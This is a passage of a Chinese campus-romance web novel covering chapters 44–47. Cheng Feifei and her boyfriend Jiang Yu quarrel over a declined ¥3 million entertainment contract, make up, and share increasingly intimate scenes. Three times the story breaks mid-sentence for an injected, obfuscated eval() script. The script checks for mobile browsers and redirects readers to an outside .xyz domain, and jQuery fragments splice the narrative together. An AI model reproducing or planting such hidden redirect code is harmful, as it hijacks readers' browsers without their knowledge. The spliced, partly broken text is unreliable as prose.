话还没说完,嘴里就被江羽塞进一根棒棒糖,依哩哇啦的更加听不清了,被人抬着出了大门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304937|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大伙三三两两地离开,转眼间,公寓里就只剩下程霏霏和江羽了。 程霏霏已经困得睁不开眼,酒精让她的头脑变得软绵绵,歪着身子斜靠在沙发上。 意识混乱模糊,半梦半醒间,她感到腿弯被人勾住,自己滚进了一个熟悉的怀抱,鼻端闻到淡淡的橘子香。 她本能地往里靠了靠,寻了个更舒服的姿势躺好。 江羽唇角翘了起来,抱着她走进卧室,动作轻柔地将人放在大床上。 床上的少女醉眼朦胧,嘴唇微微翕动着,凌乱的发丝粘在白嫩的下颌上,清新中透着动人的诱惑。 江羽坐在床边,静静地望着她。 眼睛里是浓得化不开的心动。 半晌后,他俯下身,在少女光洁的额头上落下一枚饱含爱意的吻。 “晚安,女朋友。” 他替她拉过被子,关上灯,轻声走出了卧室。 * 程霏霏一夜好眠,再睁眼的时候,已经是第二天中午。 她迷迷糊糊地掀开被子——自己身上竟然还穿着昨天的衣服,就这么凑合着睡了一夜。 走出卧室,客厅里一片静悄悄,只有小黄摇着尾巴欢迎她。 昨晚派对的残局竟然已经被收拾得干干净净,一切都恢复了原样,没有半分混乱的痕迹。 程霏霏惊讶到目瞪口呆:“我这是找了个男朋友,还是找了个田螺姑娘啊……” 她打着呵欠,心情很好地去浴室冲了个澡,洗去一身宿醉的味道。 擦着头发在梳妆台前坐下,程霏霏习惯性地伸手去摸爽肤水,眼神一歪,瞥到自己的首饰架上,好像多了一只钻石耳坠? 她眨巴了下眼睛,仔细一瞧——耳坠确实是两只,久违得重新凑成了一对。 这东西……他竟然没有卖掉,还一直留着? 程霏霏愣了片刻,露出一个无奈的笑。 拿起那对耳坠,小心地戴在了耳朵上。 对着镜子左右看看,程霏霏满意极了,哼着歌换衣服,出门见男朋友去! * 江城的雪下了一整夜,整座城市一片银装素裹。落雪的草木映着初升的日光,灿烂得让人睁不开眼。 睡足了美容觉的程霏霏像一枚跳脱的精神小妹,充满了无穷活力。一路上嘴角扬得老高,哼着小曲,优哉游哉地赶到了鹿客。 隔着透明的玻璃墙,能看到江羽穿着服务生的制服,在里面忙碌的身影。 程霏霏就这么站在白色的小楼外,安静欣赏了片刻。 爱情真是一件令人捉摸不透的傻事。 打从爱上一个人起,整个世界好像都不再虚无,变得生动而立体,充满了具体的、坚实的意义。 再普通的小事,也能饱含乐趣,令人回味无穷。 仅仅一个早上没见面,她就已经在想他。 仅仅这么远远地看上一眼,她的心中就如鲜花开遍山野,莺歌燕语啼鸣。 程霏霏第一次感受到,生活中原来有这么多无法言喻的、生机勃勃的快乐。 她独自幸福了一会儿,抬起脚,想要进去和他打个招呼。却看到江羽摘下了当班的名牌,走到餐厅的角落,在一个人面前坐了下来。 这个人程霏霏也见过,是那日在西餐厅认识的传媒界人士,祁风鸣。 45. 45 他怎么会在这里? 程霏霏想,难不成,这姓祁的还真是个星探,特意来挖江羽进圈的? 心底顿时生出几分好奇,程霏霏的眼珠滴溜溜一转,决定去听个墙角。 她跨过鹿客那形同虚设的小矮墙,绕到建筑的背面,踩着花坛的边沿而上,站在了窗户旁。 江羽他们的位置紧临窗边,今天大概是她运气好,有一扇小窗竟然没关。 果然,谈话声断断续续地飘了出来。 祁风鸣将咖啡杯放下,嗓音沉了沉:“你真的不愿再考虑?” “感谢您的赏识。”江羽颔首,将一份文件推了回去,“我的情况,的确不太适合。” 祁风鸣叹了口气,环视了一圈鹿客的装潢,语气有些惋惜:“你在这种地方打工,能挣多少钱?” “暂时是挣不了几个钱。”江羽微微一笑,也不在意,“我会毕业的。” 祁风鸣的眉心轻轻皱起:“虽然我不敢保证,你一定能大红大紫,但起码是个机会。三百万签约费只是开始,以后,我可以让你得到更多,只需要你……” 剩下的话,程霏霏通通听不到了,已经被“三百万”几个字攫住了全部心神。 一墙之隔,江羽竟然还在继续婉拒。 程霏霏着急地瞪大了双眼——她断然忍不了他做下这等愚蠢的决定! 一股强大的冲动瞬间上头,程霏霏压根忘了自己是在偷听,扒着窗户大吼一声:“——且慢!” 江羽和祁风鸣被这句中气十足的吼声震得愣住,齐齐转头。 这才看到窗户外边,程霏霏正蹲在花坛里,冲他俩露出一个尴尬而不失礼貌的微笑。 * 程霏霏垂着脑袋,跟在下了班的江羽身后头,无精打采地往家里走。 来的路上那些美妙的雪景、那些因为爱情的滋润而鲜活起来的一草一木,在程霏霏的眼里,重新又化为了枯木死灰。 哼,爱情再美好有什么用,又不能当饭吃! 程霏霏噘着嘴,懊恼地跺了跺脚,杵在原地不愿走了。 前方,江羽好像听到了她内心那震耳欲聋的埋怨声,憋着笑转过身。 “我走不动了!”程霏霏木着一张脸,不想看他。 江羽瞅了瞅这段五十米的路程,殷勤地问:“那,要不要我背你?” 程霏霏不爽地一甩头:“我不要你背,我要三百万的签约费!” 江羽被她这副无赖的模样逗笑,几步走过来,矮下身,将人一把拉到了背上。 “三百万没有,只有男朋友免费背一程!走喽——” 程霏霏被他气得呕血,伏在他的背上大叫:“江羽!你个大傻子!你还我三百万!” * “我真的不懂,他到底为什么要拒绝祁风鸣?” 程霏霏坐在寝室的大软椅里,对着任可心和黎玥疯狂输出:“那些工作他也不是做不来,在酒吧是唱,在专辑里不也是唱?有什么区别!” 随着寒假的结束,新学期终于拉开了帷幕。 同学们陆续返校,程霏霏也拖着行李搬回了宿舍。 是搬回宿舍,而不是搬回那栋小公寓——因为众所周知的原因,她现在正在和江羽冷战中。 “你没问问他怎么想的?”黎玥啃着一颗大苹果,抱着任可心的电脑,正在研究新学期的选课。 “我问了,他竟然说,做艺人不自由,而他想自由一点。”程霏霏抱着胳膊,眉毛拧成了一个结,“自由是什么?多少钱一斤?” 任可心见缝插针地说:“霏霏,你家也不缺这三百万吧,干吗这么在意啊?” 程霏霏一愣:“这不是我的三百万,是江羽的。” 她顿了顿:“我可以不在乎,但江羽不行。” 黎玥叼着苹果,回过身:“搞了半天,有些人是在偷偷心疼,替人家可惜呢!” 程霏霏恼羞成怒,夺过她手里的苹果,报复性地啃了好几口。 黎玥无所谓:“反正狗粮已经吃饱了,苹果不吃也罢。” 而任可心却真的好奇起来:“话说,有人真的会拒绝天上掉下来的三百万吗?霏霏,我觉得,也许合约里还有别的条件,不是那么好签的。” 程霏霏当然明白这个道理,她还是觉得生气,因为江羽什么也没说,必定是对她有所隐瞒。 时移世易,她“金主姐姐”的风光不再,江羽自然也不再是那个乖巧听话、任她拿捏的小朋友了。 男人,果然得到了就不珍惜! 任可心觑着她气呼呼的模样,拍着肩膀安慰:“快别为情所困了,大好时光,我们去做一点有意义的事吧!” * 任可心说的有意义的事,是指她这段时间一直在忙碌的“校园鸟类图鉴”工程。 随着春天的来临,万物复苏,越来越多的鸟类将重新回归到江大这片绿荫中,在校园里安家落户。 为了引发同学们的兴趣,号召大家识别和保护这些鸟,任可心做了很多不同鸟种的信息卡,打算放置在校园的不同位置上。 程霏霏本以为,这是像发传单一样的工作,可是当她看到那些卡片的时候,脸都绿了。 “可心……你没说这些卡片是木头的啊……” “木头的不是很正常?毕竟要放在室外,风吹日晒嘛。” 不仅是木质的,而且个头还不小,看着很像程霏霏小时候举过的那种少先队队牌。 她掂量了一下每个木牌的重量,绝望地说:“你不能因为我力气大,就让我一个人给你出这份力呀。” “当然不是你一个人。”任可心胸有成竹,对着手机啪啪打字,“黎玥自然跑不了,还有,其他帮手我也叫了。” 半小时后,程霏霏终于知道所谓“其他帮手”都是谁了。 裴一舟赶来的时候,十分周到地跟在场每个人打了一遍招呼。 项凡站在他身旁,顶着一张略显挑剔的脸。 江羽背着书包走在最后。 隔着人群,他抬起一双朗若辰星的眼眸,定定地注视着程霏霏。 程霏霏被他看得浑身不自在,转头对任可心说:“你这个爱鸟社出息了啊,净招了些拓知的学霸进来,楼上的物理爱好者协会怕是要嫉妒死了。” 约莫是假期在家吃得太好,项凡看起来至少胖了五斤。 他烦恼地捏了捏自己发福的小肚腩,解释道:“我纯粹是出来活动一下,减减肥,不代表就认可这个社团存在的意义。” 任可心冷笑一声:“我这儿不止爱鸟,还塑人呢,尤其喜欢回炉重造某些脑残半成品。” “说谁半成品呢?” “说的就是某些书读得凑合、人品却很一般的,一点环保意识也没有!” “你……” “好了!”程霏霏抬手,打断这两人的无脑争论,“赶紧的吧,再不干活天都要黑了。” 任可心哼了一声,开始布置任务。 她拿出一张江大全景图,图上标注了很多地点,用不同颜色的笔圈得清清楚楚。 “这些都是我根据自己的观察,总结出来的不同鸟类最常出没的地点。由于咱们学校很大,我便将地点划分为三个区域。接下来,咱们兵分三组,两两配合,把这些木牌安插到指定的地点。当然,由于木牌比较重,我们将采取男生和女生搭档组合的方式。” 任可心收起地图,笑意盈盈地看向几位免费劳动力:“电子版的图我待会发到群里,有问题在群里问。行了,开始选队友吧!” 她冲项凡投去一个不阴不阳的眼神:“你,跟我一组。” 项凡浑身一激灵,满脸抗拒,立刻扯住江羽的袖子:“我和江羽一组,你找别人吧!” “你有病吧。”任可心露出关爱智障的目光,“你明知道江羽要和——” 程霏霏突然一个箭步跨到裴一舟跟前,笑容满面地说:“师弟,咱俩一组呗。” 裴一舟:“……” 什么活都没干呢,怎么就开始汗流浃背了呢? 大伙不约而同地看了看他,又看了看一旁不动声色的江羽,隐隐嗅到了修罗场的味道。 程霏霏二话不说,连拒绝的余地也不留,扯着裴一舟的书包带,就将人拉走了。 目睹了这一幕的项凡惊吓得忘记了挣扎,乖乖跟在了任可心身后。 原地就只剩下全程没有表态过的黎玥和江羽。 江羽看着程霏霏和裴一舟离开的方向,目光沉静,若有所思。 黎玥在心中轻吁了一口气,按下杂乱的心跳,什么话也没说,弯腰去搬那些木牌。 江羽的目光扫过来,从她手里接过东西,面无表情地问:“地点是?” 黎玥指了指西边的小路。 和程霏霏他们截然相反的方向。 江羽会意,提着东西率先走了过去。 黎玥静静地跟上。 * 春天好像是一瞬间到来的。 校园里,树枝吐出了嫩绿的新芽,天气虽还有些凉,但已经透出朦胧暖意。 黎玥没想到,江羽竟然会率先和她搭话。 “你把鹿客的工作辞了?” “嗯。”黎玥点点头,“老师给我介绍了校史馆的勤工俭学,这学期我还打算帮学姐的公众号撰稿,没有那么多课余时间。” 她悄悄抬起头,望着前方高挑的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315006|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影。 既然想清楚了要放下,就不能拖泥带水。非必要的话,索性连面也别见了吧。 江羽还是那副样子,眉目如画,对谁都清清淡淡的。 除了…… 黎玥忽地笑了:“你知不知道,你在霏霏身边,和不在她身边的时候,简直就像两个人?” 江羽脚步一顿,投来探究的目光。 “亏我当初还傻傻地以为你别有所图。”黎玥垂着脑袋,有点难为情,“还……” 还搞得自己那么难堪。 江羽已经在第一个目标地点停下,目光巡睃而去,寻找合适的位置。 “你能为了朋友那样挺身而出,很了不起。” 黎玥一怔,片刻后,苦涩地笑了一下,没再多言。 * 程霏霏空着一双手,轻飘飘地在前方带路。 身后,裴一舟扛着所有工具和最后一只木牌,呼哧呼哧地喘着粗气。 她热心地回过头:“累了吧?要不要我帮你?” “不用不用。”裴一舟扶了扶眼镜,再抹一把脑门上的汗,“学姐,咱们到了没啊?” “快了。”程霏霏指了指前方一片郁郁葱葱的小树林,“就那儿!” 两人终于来到最后一个插牌地点。 程霏霏依旧抱着胳膊,像个没事人一样靠在树干上,看裴一舟在旁边吭哧吭哧地刨土。 她状似不经意地问:“学弟,江羽是不是和你们关系很好?” “那当然。”裴一舟答得不容置疑。 “他是跟你好,还是跟项凡更好?” “……” 裴一舟嘴角一垮:“学姐,不带这么提问的!” “好啦,别误会。”程霏霏笑了笑,“我是在想,他和你们关系这么好,肯定无话不谈的吧?你知道有人想挖他进娱乐圈吗?” 裴一舟点头:“知道,可是他已经拒绝了。” “那他有说,为什么拒绝吗?” 裴一舟摇了摇头,过了一会儿,又犹豫着道:“虽然他没有明说,但我多少也能猜到。” 程霏霏眼前一亮,表示洗耳恭听。 “学姐,你也知道,江羽的生父因为诈骗罪获刑,据说是骗了同村人的拆迁款。这种事在村子里是很招人记恨的。过年的时候,我之所以会邀请江羽去我家,其实是因为……” 裴一舟放低了音量,小声嘟囔:“我看到,有社会上的人来学校堵他。” “什么!”程霏霏大惊失色,“那帮人真是胆大包天,竟然敢找到学校来?他们打人了吗?你们报警没有?” “没有没有!只是有些口角,没有肢体冲突。” 裴一舟解释完,又叹了口气:“可是江羽这种情况挺麻烦的,还了一家的钱,势必就有其他家找上门来。源源不断,什么时候是个头呢?” 程霏霏心中一窒,也担忧地蹙起了眉。 “我只是猜想,他或许因为这个原因,才拒绝了那个合约吧?毕竟,这要是出了名,那些讨债的岂不是更容易知道他在哪里?” 程霏霏恍然大悟——是这个道理没错! 难怪江羽拒绝的时候,会说自己的情况不适合。 声名狼藉的亲爸,再加一屁股莫名其妙的外债,搁谁身上也不是什么轻易宣之于口的事。 程霏霏鼓了鼓嘴。 自己这么多天不搭理他,还给他甩脸色看,唔……这个女朋友当的,也太不合格了。 程霏霏懊恼地揪过一根干枯的树杈,在地上画着圈圈。 既心疼,又愧疚。 干燥的春风夹着暖意涌来,吹在脸上,痒痒的。 程霏霏拂了拂脸颊,抬头一瞥,赫然看到小树林的尽头,江羽正站在湖边的石头上吹风。 他们分明走的两个方向,竟然各自绕了大半个校园,又汇合在了一点。 江羽站在人工湖的边上,长身玉立,发丝轻扬,俊朗得如同一枝刚刚抽条的柳树,很随意的潇洒着,好像已经完美融合在了春风中。 她远远望着他,怔怔地想——程霏霏啊,你男朋友这么好看,你到底怎么忍心给他委屈受的? 得到了就不珍惜的,到底是谁? 程霏霏抬脚便朝前走。 林间小路迂回曲折,她紧走了几步,视线倏而开阔。这才注意到,江羽并非自己一个人。 黎玥正站在他的身后,安静地望着他,峨眉宛转,眼波如水。 脚下的步子慢了下来。 程霏霏蓦地想起,去年有段时间,黎玥好像忽然变得爱打扮了,之后却又不了了之。 她似乎一直没有透露过,那段时间,到底是看上了谁。 46. 46 “江羽——” 裴一舟一声高呼,打断了程霏霏愣怔的思绪。 江羽回头,一眼就看到了在树林边上静立的程霏霏。 唇边扬起一个飞扬的笑,江羽抬脚就朝这边走来,一把拉起程霏霏的手腕,冲旁边的好友说:“我们换个队友。” 然后头也不回地拉着人进了小树林。 剩裴一舟在身后跳脚:“……可是,木牌都已经被我种完了啊!” 江羽拉着人,沿着青草如茵的小道一路向深处走去。 程霏霏不知道怎么了,竟然像个乖顺的洋娃娃,丁点反抗也没有。 路过一丛粗壮的大树时,江羽忽然转身,将少女毫不客气地抵在了树干上。 整个人倾身靠了过来。 程霏霏甚至来不及在意后背的硬硌,只能感觉到面前人炽热的体温,像干燥又撩人的春风,席卷着树林里草木的清香,一股脑扑在她的脸上。 江羽挑起她的下颌,浅色的瞳底仿佛收拢了灼灼日光,带着迫不及待的热度。 “我能不能亲你?” 程霏霏无措地扑闪着眼睫,不说话。 江羽寸步不让,目光紧贴着她的樱唇游走。 “我说过,你不喜欢的事情,我都不会做,但若是你不拒绝……” 程霏霏觉得鼻端尽是馥郁花香,心跳快要过载。 “我……” 刚颤颤巍巍地吐出一个音,江羽的气息便猛地袭来,堵住了所有尚未出口的字节。 嘴上说得好听,行动上却根本不给她选择的机会。 午后的风拂过头顶的树梢,吹起那些嫩绿的新叶,发出“沙沙”的轻响。 鸟雀啾鸣,清风为伴。 幕天席地的空间里,仿佛只有他们两个人。如同最光明正大的偷情,让程霏霏感到一种前所未有的羞涩、以及兴奋。 江羽吻得肆意又急迫,将程霏霏牢牢地禁锢在树影里,迫使她承受自己连日来的焦渴与思念。 “霏霏,我很想你……别再惩罚我了,好不好?”江羽在她的唇齿间悄声呢喃。 而程霏霏已经头昏脑胀,浑身筋酸骨软,勉强靠着身后的树干才能维持平衡,压根听不清那些狡猾的甜言软语。 “你不回答,就当你原谅我了。” 江羽翘起唇角,一点点啄吻着软濡的唇瓣,目光勾缠住程霏霏失焦的眼眸,再一次将她拖进了铺天盖地的情动里。 而程霏霏仿佛被一场色|诱掠夺了神智,彻底将三百万这件事抛诸脑后。 …… 日暮西斜的黄昏,任可心站在校园中心的小广场上,无奈地盯着自己的手机。 “这两个人到底跑到哪里去了?电话也不接,该不会出什么事了吧?” 裴一舟和黎玥的目光在空中轻轻一触,又各自心虚地瞥向别处。 黎玥轻咳一声,拉住任可心想要再次打电话的手,神秘兮兮地道:“只能说,你那份地图做得太好,让小情侣发现了新的空间。” 任可心:“……” 得,约会的同时,别忘了她的鸟牌们就行。 * 程霏霏觉得,打从开始谈恋爱,她就彻底过上了没羞没臊的日子。 学业逐渐变得繁忙,生活还是那样按部就班,只是,以往那些没有被占据的时间夹缝,就如同她的心一样,全部被另一个人填满了。 他们像这所校园里其他的学生情侣一样,变着法儿地往一处凑,消磨着彼此的时间。 春光明媚,莺歌燕语,江羽陪程霏霏上传播学的专业课。 教授讲话的调子平淡得如同湖中的死水,没有任何波澜,底下已经睡倒了一片。 程霏霏无奈地瞧着身边这位全神贯注的插班生,搞不懂他怎么能够这么投入,竟然还会主动回答老师的提问。 他真以为自己是来上课的啊? 程霏霏靠过去,和江羽说悄悄话:“这个概念这么冷僻,你是怎么知道的?” “你不记得了?”江羽歪着脑袋,笔尖一点教材,“上册的知识点总结里就有。” 程霏霏呆住了——都考完试了,为什么还要记得? 春去夏来,落英缤纷,程霏霏开始准备英语四级考试。 她每天长吁短叹地背单词,面对成堆的模拟题“相顾无言,惟有泪千行”。 本想找男朋友诉诉苦,一转头,男朋友正在浏览一本英文参考书。 她伸长脖子看过去,密密麻麻的,天书一般。四级词汇散落其间,单挑出来还能认,合在一起,只剩一头雾水。 和男朋友一块学习,时常让她有种自己是人类智商洼地的感觉。 有一次,她终于忍不了了,盘腿坐在沙发上,字斟句酌地问江羽:“你们班同学……脱单的多么?” “还可以。” “他们都交往了什么样的女朋友?” “不清楚……”江羽答得漫不经心,想到什么,倒是勾了勾唇角,“肯定都不如我女朋友好看。” 被程霏霏一个抱枕砸过去。 “我就是好奇,聪明的人谈恋爱,是不是……也会想找智商高一点的?” 江羽听了这话,倒是若有所思。 程霏霏觑着他的样子,心里直犯嘀咕。 他却蓦地坐直了身体,认真地反问:“霏霏,那你觉得我的智商够高吗?” 程霏霏反应了半天,才听懂他的意思,不禁压了压上扬的唇角,傲娇地一甩头:“这我怎么知道!” 临近学期末的时候,江羽还完了王鹏那部分的尾款,终于可以松一口气。他辞掉了奶茶店的兼职,以便有更多时间专注在学业上。 程霏霏劝他干脆把鹿客的工作也辞掉。可江羽觉得自己既然有余力,便不能坐吃山空,还是继续当着他的服务生。 好在,慕名来鹿客搭讪的女孩子越来越少。 最主要的原因是,学校论坛里的传言依旧甚嚣尘上,说帅哥名草有金主,且金主还很黏人,连打工的时间都要亲自盯着。 江羽对于这些言论向来一笑了之,他巴不得程霏霏对他更宝贝一点。 只不过,两个人经济上的差距,依然是客观存在的。 程霏霏的身份从金主变成了女朋友,自觉不好再堂而皇之地给江羽花钱,反倒有了机会,见识了一把男朋友天真的消费观。 比如,他自己穿着学校免费发放的文化衫,却眼都不眨地给程霏霏买了一条四位数的裙子,作为四级考试顺利通过的礼物。 程霏霏收到裙子,惊讶得说不出话,质问他为什么要买这么贵的衣服。 江羽眨眨眼:“女孩子的衣服,不都是这个价?” 程霏霏:“……” 你女朋友不代表全世界哈。 买了裙子,这个月只剩下生活费,仅够温饱。 程霏霏却忽然兴起,闹着要去看某流量歌手的演唱会。 江羽付不起演唱会的门票钱,便把女朋友送进了会场,自己在外面等她。 开场的音乐气势恢宏,鼓点声震耳欲聋。江羽独自站在体育场的侧门外,里面的歌声听得一清二楚。 几乎能够免费蹭一场。 旋律源源不断地涌来,刺激着他的耳膜。江羽闭上眼睛,在心中随意地盘了盘—— 典型的八六拍,编曲有点偷懒,好在贝斯和底鼓的融合还算顺畅。 用了木吉他扫弦很加分,电吉他的和弦虽然听着热闹,节奏上却扯了后腿,重音太乱…… 听着听着,就有点心痒。 江羽挠了挠耳朵,从书包里拿出纸和笔,就着昏黄的光线,将这首曲子扒了下来。 他咬着笔盖,开始在曲谱上写写画画。 ——整体结构要改一下,这里替换成小调和弦,这里需要更丝滑的转音,鼓点的节奏要推翻重写…… 草稿纸上很快就画满了密密麻麻的音符。 笔尖灵活地游走其间,给一首平庸俗套的口水歌注入了别开生面的活力。 江羽扫了一眼完工的作品,蹙起的眉头总算舒展。 “这下清爽多了。” 他伸了个懒腰,将稿纸团成一团,丢进了旁边的垃圾桶。 刚刚的一切,不过是一场放松头脑的小游戏。 …… 散场的时候,程霏霏头戴亮闪闪的发箍,拿着荧光棒,兴奋地从人群里钻出来。 她来到两人约定的地点,看到江羽坐在台阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361315|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,头靠着墙,竟然睡着了。 手里还捧着一本翻了一半的《数据结构与算法分析》。 昏黄的灯光打在江羽的鼻翼,给这张白净的脸镀上了一层模糊的黯淡。 程霏霏瞧着他眼睛下淡淡的青色,想到他每天就像一个上了发条的小陀螺,一边打工,一边上学,还要抽出时间陪她。 她叹了口气,将他手里的书悄悄取走,抱在怀中。 程霏霏蹲在江羽身旁,情绪有点低落。 江羽睡得不踏实,一会儿就醒了,发现演唱会已经结束了,人群也即将散尽。 而程霏霏在一旁抬头望天,没有半点叫醒他的意思。 江羽眼睛亮起来,伸出手,牵过她的,拉着人站起身,将自己的书塞回了背包。 “怎么样,演唱会好玩吗?” “不好玩,唱得一点也不好……” “是吗?”江羽笑着睨她,“听说这位歌手很红。” “是真的!”程霏霏昂着下巴,满脸的不可一世,“他只是运气好、红得早罢了,粉丝是挺多,可是现场真的很一般,论水准,远不如你!” 江羽彻底被她逗乐了,戏谑地捏捏她的小脸:“可谁让我女朋友是他的粉丝呢?” “我就是来听个热闹,不是谁的粉丝。”程霏霏认真十足地解释。 她转过身,指着身后的庞大建筑,豪气干云地说:“等我以后有了钱,就把这里包下来,让你去舞台上唱,总比那个酒吧有感觉多了!” 江羽愣了愣,浅色的瞳底映出流水般的光彩。 唇角扬起一个极大的弧度:“嗯,那我就等着,等金主大人为我一掷千金!” 说着吃软饭的话,语气却十足宠溺。 程霏霏很满意地点头,倚在江羽怀里,望着体育场上方五光十色的夜空。 “对了,上回……就是我第一次去酒吧的时候,你唱的那首歌,叫什么名字啊?” 江羽蹭着她的发顶,似乎顿了一下。 “随便写的,没有名字。” “竟然是你自己写的?”程霏霏的眼睛先是一亮,而后又皱眉,“那么好听的歌,没有名字多可惜啊,我帮你取一个?” “好啊。” “可是我都忘记那首歌的旋律了,你再给我唱一遍。” “再唱一遍啊?”江羽勾唇而笑,嘴角贴着她的耳廓,慢条斯理地说:“今晚跟我回去,就给你唱。” 程霏霏笑着捶他:“……你少勾引我!” 如今,那所不大的公寓,彻底成了两个年轻人爱情的温床。 程霏霏虽然没有正式搬过来,但常常因为一些莫名其妙的原因,不得不留下来过夜。 房间里,几乎每一处角落,都留下了两个人肌肤相贴、脸红心跳的记忆。 江羽甚至曾经抱着她,坐在客厅中央的划船机上,吻得汹涌。 天光暗沉,没拉窗帘。程霏霏坐在他身上,背影挡住落地窗的大半光源。 发丝黏在濡湿的唇角,肩带松松垮垮地垂着,露出大片白亮的肌肤,为那双浅淡的眼眸染上浓郁的绚色。 及膝的裙摆堪堪遮住两人相触的部位,也挡住了裙下作乱的手。 曾经拨弦拉琴的细长手指再没了一丝往日的踟蹰和犹豫,肆意地描摹着怀中诱人的曲线。 在每一处抚弄、捻动,挑起波浪般的潮涌,折磨着她的神智。 猛地,程霏霏睁着迷蒙泪湿的双眼,仰起纤细的脖颈。 贯穿于全身上下、令血液都沸腾的颤栗,化为滚烫的嘤咛倾泄而出,又被捉住下颌,缄口封住。 好像有无限的乐趣。 对方的身上,仿若有无穷的吸引力。 他们就这样纠缠在一起,耗费大把的天光,厮磨掉无数个夜晚。 于程霏霏而言,如此的亲密之下,那最后的一层阻隔,已经不再那么清晰,甚至可有可无。 可江羽却总是会在意乱情迷的悬崖边,找回最后一丝理智,强迫自己抽离,任未尽的情愫在灼热的空气里回旋反复。 程霏霏不得不承认,这小子的确挺能忍。 幸福的时光过得飞快,一个学期转眼就走到了尽头,酷热的暑假来临了。 47. 47 这个暑假,江羽一边打工,一边误打误撞地进入了导师汪行知教授的课题组。 汪教授作为江城大学著名的学术骨干、博士生导师,平时鲜少直接给本科学生授课。 括弧,拓知理科实验班除外。 他作为拓知学院的主要发起人之一,为了培养出最出色的科研苗子,每年都为这批优质学生倾注大量校级培养资源。 具体表现为,哪怕是大一大二的学生,理科基础课也是由他亲自来上,由手底下的研究生担任助教。 助教每每跟完他的课,都大汗淋漓地表示,就这大|跃|进式的课程难度和深度,但凡期末能及格,可以直接出去教大三的专业课了。 不仅如此,汪教授还身先士卒地亲自当起了学生们的个人导师,然后很自然的,就关注到了江羽。 江羽的高考成绩非常拔尖,哪怕不来江大,全国的名校也是任其挑选。 可是进入大学以后,他平时的表现却算不得优异,上学期的成绩也只能忝居中游。 汪行知发现,这个学生最特别的地方,在于不走寻常路。 他的作业很少会用课堂上讲授的方法来完成。在别人都还比着葫芦画瓢时,江羽就已经在探索不一样的思路。 这样的方式难免影响到正确率。是以,江羽的平时成绩很普通。 但架不住,实在有趣。 他便把江羽叫到跟前,问他怎么会有这种嗜好。 江羽只是笑,说既然课上已经听到了该听的,那就在其他地方试试别的。作业和考试的本质都是学习工具,正好用来扩展一下自己的思路,还没什么成本。 一番话听得汪行知目瞪口呆。 当别人都在为绩点苦苦拼命时,他竟然在利用考试来试错? 只能说……全额奖学金就是令人嚣张哈。 后来,汪教授才得知,江羽生活上很困难,还一直在外边打工。 难怪他会这么在意“学习效率”这件事。 物质上紧张,精神上倒是松弛。 毕竟,一个人对已知掌握得越好,就越能用创造性的方法解决新问题。 不练习独创性与想象力,就没法真正地积累知识。 汪行知对这个学生很感兴趣,便趁着暑假,把江羽拉进了自己的课题组,让他在里面跟着学习,顺便挣点助研费。 这个课题组里大部分都是硕士和博士生,对江羽来说是个绝佳的实践机会,而且有钱可赚,何乐而不为? 课题组里的师哥师姐本以为来了一个打杂的小学弟,可是小学弟并不好糊弄,数据在眼里过一遍,就能问出一系列令人汗流浃背的问题。 时间久了,他们都很喜欢把江羽带在身边,既能帮自己干活,同时还能启发思路、随时质检。 除了江羽以外,唯二的另一个本科生,是大四的柯有为。 柯有为这人,成日一副吊儿郎当的派头,看上去有点缺心眼,对学术课题一问三不知,和整个组的画风都不太匹配。 江羽听人说,此人家中财力雄厚,父亲是本地的地产商,为了让儿子进汪教授的组镀镀金,以便申请出国的时候履历能好看点,不知道投了多少赞助费。 汪老能收人,也是因为看他爹的面子,毕竟,汪行知还有个拓知实验班要养。 江羽有点损地想,原来这位就是他的衣食父母。 * 另一边,程霏霏也开始了在江城电视台实习的生活。 别人实习,那是为了积累实践经验;可程霏霏实习,纯粹是因为没有事做。 放暑假了,黎玥回了老家,在那边带了好几个即将要高三的学生,每天像个上班族一样日出而作、日落而息。 任可心参加了一个国际大学生环保组织,去非洲大草原保护鸟类了。 唯有她,一个人留在了江城。 而江羽放了暑假竟然比平时还要忙。 程霏霏觉得,自己再这样闲下去怕是要怨气缠身了,便求师姐托了点关系,直接进了江城电视台的新闻中心。 在新闻中心实习纯属体力活,有时候还要跟着外勤组出去采访,做一些订饭、打扫、搬运物资的苦力。 程霏霏一个生活松垮、心慵意懒的女大学生,哪里受得了这个罪?干了一周就想要撂挑子。 谁爱伺候谁伺候去吧,躺在家里吹空调不香么? 她连辞职申请都准备好了,蹑手蹑脚地走到主任办公桌前,想寻个好位置,把辞职书放了。 办公桌上堆了很多粘了灰的文件夹,程霏霏随意一瞟,看到“杜溪县渔村拆迁诈骗”几个字。 脑袋里“嗡”的一声,啥也顾不得了,程霏霏直接在主任的位置上坐下,翻起这些文件来。 